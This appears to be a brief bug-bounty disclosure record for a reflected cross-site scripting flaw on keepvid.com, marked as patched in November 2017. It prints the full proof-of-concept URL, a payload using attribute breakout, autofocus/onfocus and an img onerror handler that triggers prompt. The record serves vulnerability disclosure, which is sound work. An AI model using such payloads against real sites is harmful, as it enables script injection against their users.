keepvid.com XSS vulnerability

Vulnerable URL: http://keepvid.com/?url=a%27aa%22onfocus=prompt/OPENBUGBOUNTY/%20autofocus=x%20bad=--%3E%3C/script%3E%3Cimg%20src=x%20onerror=prompt/OPENBUGBOUNTY/%3E Details: Description| Value ---|--- Patched:| Yes, at 27.11.2017 Latest check for patch:| 27.11.2017 08:53 GMT Vulnerability type:...